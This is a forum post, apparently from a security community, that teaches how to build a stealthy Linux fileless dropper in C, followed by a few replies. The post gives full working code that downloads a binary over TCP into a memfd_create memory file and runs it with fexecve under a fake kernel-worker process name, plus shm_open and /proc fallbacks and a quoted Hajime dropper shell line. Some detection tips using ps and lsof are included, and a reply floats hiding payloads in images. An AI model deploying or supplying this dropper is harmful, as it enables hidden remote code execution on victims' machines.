Super-Stealthy Droppers

dropper
malware

(pico) #1

Some weeks ago I found [this interesting article] (https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html), about injecting code in running processes without using ptrace. The article is very interesting and I recommend you to read it, but what caught my attention was a brief sentence towards the end. Actually this one:

The current payload in use is a simple open/memfd_create/sendfile/fexecve program

I’ve never heard before about memfd_create or fexecve… that’s why this sentence caught my attention.

In this paper we are going to talk about how to use these functions to develop a super-stealthy dropper. You could consider it as a malware development tutorial… but you know that it is illegal to develop and also to deploy malware. This means that, this paper is only for educational purposes… because, after all, a malware analyst needs to know how malware developers do their stuff in order to identify it, neutralise it and do what is needed to keep systems safe.

memfd_create and fexecve

So, after reading that intriguing sentence, I googled those two functions and I saw they were pretty cool. The first one is actually pretty awesome, it allows us to create a file in memory. We have quickly talked about this in [a previous paper] (Running binaries without leaving tracks), but for that we were just using /dev/shm to store our file. That folder is actually stored in memory so, whatever we write there does not end up in the hard-drive (unless we run out of memory and we start swapping). However, the file was visible with a simple ls.

memfd_create does the same, but the memory disk it uses is not mapped into the file system and therefore you cannot find the file with a simple ls. :o

The second one, fexecve is also pretty awesome. It allows us to execute a program (exactly the same way that execve), but we reference the program to run using a file descriptor, instead of the full path. And this one matches perfectly with memfd_create.

But there is a caveat with this function calls. They are relatively new. memfd_create was introduced in kernel 3.17 and fexecve is a libc function available since version 2.3.2. While, fexecve can be easily implemented when not available (we will see that in a sec), memfd_create is just not there on old kernels…

What does this means?. It means that, at least nowadays, the technique we are going to describe will not work on embedded devices that usually run old kernels and have stripped-down versions of libc. Although, I haven’t checked the availability of fexecve in for instance some routers or Android phones, I believe it is very likely that they are not available. If anybody knows, please drop a line in the comments.

A simple dropper

In order to figure out how these two little guys work, I wrote a simple dropper. Well, it is actually a program able to download some binary from a remote server and run it directly into memory, without dropping it in the disk.

Before continuing, let’s check the Hajime case we described [towards the end of this post] (IoT Malware Droppers (Mirai and Hajime)). There you will find a cryptic shell line that basically creates a file with execution permissions to drop into it another file which is downloaded from the net. Then the downloaded program gets executed and deleted from the disk. In case you don’t want to open the link again, this is the line I’m talking about:

cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI

We are going to write a version of .s that, once executed, will do exactly the same that the cryptic shell line above.

Let’s first take a look to the code and then we can comment it.

The code

This is the code:

#include <stdio.h>
#include <stdlib.h>

#include <sys/syscall.h>

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define __NR_memfd_create 319
#define MFD_CLOEXEC 1

static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

extern char        **environ;

int main (int argc, char **argv) {
  int                fd, s;
  unsigned long      addr = 0x0100007f11110002;
  char               *args[2]= {"[kworker/u!0]", NULL};
  char               buf[1024];

  // Connect
  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);
  if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1);
  if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1);

  while (1) {
      if ((read (s, buf, 1024) ) <= 0) break;
      write (fd, buf, 1024);
    }
  close (s);
  
  if (fexecve (fd, args, environ) < 0) exit (1);

  return 0;
    
}

It is pretty short and simple, isn’t it?. But there are a couple of things we have to say about it.

Calling memfd_create

The first thing we have to comment is that, there is no libc wrapper to the memfd_create system call. You would find this information in the memfd_create manpage’s NOTES section. That means that we have to write our own wrapper.

First, we need to figure out the syscall index for memfd_create. Just use any on-line syscall list. Remember that the indexes changes with the architecture, so if you plan to use the code on an ARM or a MIPS, you may need to use a different index. The index we used 319 is for x86_64.

You can see the wrapper at the very beginning of the code (just after the #include directives), using the syscall libc function.

Then, the program just does the following:

  • Create a normal TCP socket
  • Connect to port 0x1111 on 127.0.0.1 using family AF_INET… We have packed all this information in a long variable to make the code shorter… but you can easily modify this information taking into account that:
    addr = 01 00 00  7f   1111  0002;
            1. 0. 0.127   1111  0002;
           +------------+------+----
             IP Address | Port | Family

Of course this is not standard and whenever the struct sockaddr_in change, the code will break down… but it was cool to write it like this :stuck_out_tongue:

  • Creates a memory file
  • Reads data from the socket and writes it into the memory file
  • Runs the memory file once all the data has been transferred.

That’s it… very simple and straightforward.

Testing

So, now it is time to test it. According to our long constant in the main function, the dropper will connect to port 0x1111 on localhost (127.0.0.1). So we will improvise a file server with netcat.

In one console we just run this command:

$ cat /usr/bin/xeyes | nc -l $((0x1111))

You can chose whatever binary you prefer. I like those little eyes following my mouse pointer all over the place

Then in another console we run the dropper, and those funny xeyes should pop-up in your screen. Let’s see which tracks we can find after running the remote code.

Detecting the dropper

Spotting the process is difficult because we have given it a funny name (kworker/u!0). Note the ! character that is just there to allow me to quickly identify the process for debugging purposes. In reality, you would like to use a : so the process looks like one of those kernel workers. But, let’s look at the ps output.

$ ps axe
(...)
 2126 ?        S      0:00 [kworker/0:0]
 2214 pts/0    S+     0:00 [kworker/u!0]
(...)

You can see the output for a legit kworker process in the first line, and then you find our doggy program in the second line… which is associated to a pseudo-terminal!!!.. I think this can be easily avoided… but I will leave this to you to sharp your UNIX development skills :wink:

However, even if you detach the process from the pseudo-terminal…

Invisible file

We mentioned that memfd_create will create a file in a RAM filesystem that is not mapped into the normal filesystem tree… at least, if it is mapped, I couldn’t find where. So far this looks like a pretty stealth way to drop a file!!

However, let’s face it, if there is a file somewhere, there should be a way to find it… shouldn’t it? Of course it is. But, when you are in this kind of troubles… who you gonna call?.. Sure… Ghostbusters!. And you know what?, for GNU/Linux systems the way to bust ghosts is using lsof :).

$ lsof | grep memfd
3         2214            pico  txt       REG                0,5    19928      28860 /memfd:a (deleted)

So, we can easily find any memfd file in the system using lsof. Note that lsof will also indicate the associated PID so we can also easily pin point the dropped process even when it is using some name camouflage and it is not associated to a pseudo-terminal!!!

What if memfd_open is not available?

We have mentioned that memfd_open is only available on kernels 3.17 or higher. What can be done for other kernels?. In this case we will be a bit less stealthy but we can still do pretty well.

Our best option in this case is to use shm_open (SHared Memory Open). This function basically creates a file under /dev/shm… however, this one will be visible with ls, but at least we avoid writing to the disk. The only difference between using shm_open or just open is that shm_open will create the files directly under /dev/shm. While, when using open we have to provide the whole path.

To modify the dropper to use shm_open we have to do two things.

First we have to substitute the memfd_create call by a shm_open call like this:

(...)
if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1);
(...)

The second thing is that we need to close the file and re-open it read-only in order to be able to execute it with fexecve. So, after the while loop that populates the file we have to close and re-open the file:

(...)
  close (fd);

  if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1);
(...)

However note that, now it does not make much sense to use fexecve and we can avoid reopening the file read-only and just call execve on the file created at /dev/shm/ which is effectively the same and it is also shorter.

… and what if fexecve is not available?

This one is pretty easy, whenever you get to know how fexecve works. How can you figure out how the function works?.. just google for its source code!!!. A hint is provided in the man page tho:

NOTES
On Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call.

So, what it does is to just use execve but providing as file path the file descriptor entry under /proc. Let’s elaborate this a bit more. You know that each open file is identified by an integer and you also know that each process in your GNU/Linux system exports all its related information under the proc pseudo file system in a folder named against its PID (supposing the proc file system is mounted). Well, inside that folder you will find another folder named fd containing a file per each file descriptor opened by the process. Each file is named against its actual file descriptor, that is, the integer number.

Knowing all this, we can run a file identified by a file descriptor just passing the path to the right file under /proc/PID/fd/THE_FD to execve. A basic implementation of fexecve will look like this:

int
my_fexecve (int fd, char **arg, char **env) {
  char  fname[1024];

  snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);
  execve (fname, arg, env);
  return 0;
}

This implementation of fexecve is completely equivalent to the standard one… well it is missing some sanity checks but, after all, we’re living in the edge :P.

As mentioned before, this is very convenient to be used together with memfd_open that returns to us a file descriptor and does not require the close/open sequence. Otherwise, when there is a file somewhere, even in memory, it is even faster to just use execve as you can infer from the implementation above.

Conclusions

Well, this is it. Hope you have found this interesting. It was interesting for me. Now, after having read this paper, you should be able to figure out what the open/memfd_create/sendfile/fexecve we mentioned at the beginning means…

We have also seen a quite stealthy technique to drop files in a remote system. And we have also learn how to detect the dropper even when it may look invisible at first glance.

You can download all the code from:


(Command-Line Ninja) #2

OH NO! HE’S DONE IT AGAIN.

This is actually pretty cool, this is essentially reflective loading on Linux? I attempted this a while back through echo "C code" | gcc -O - | somemagic, and it failed.

I can think of some serious legitimate uses for this, such as a rapidly updating piece of software, that updates on each run automatically.

Now is it possible for us to take this up a notch, and use this with stego? Get an image, extract stego + base64, decode base64, run binary silently. That would be another level…

Anyway - good job on this article pico :wink: Well written as always!


#6

This is very interesting in fact, keep up the good work.


#7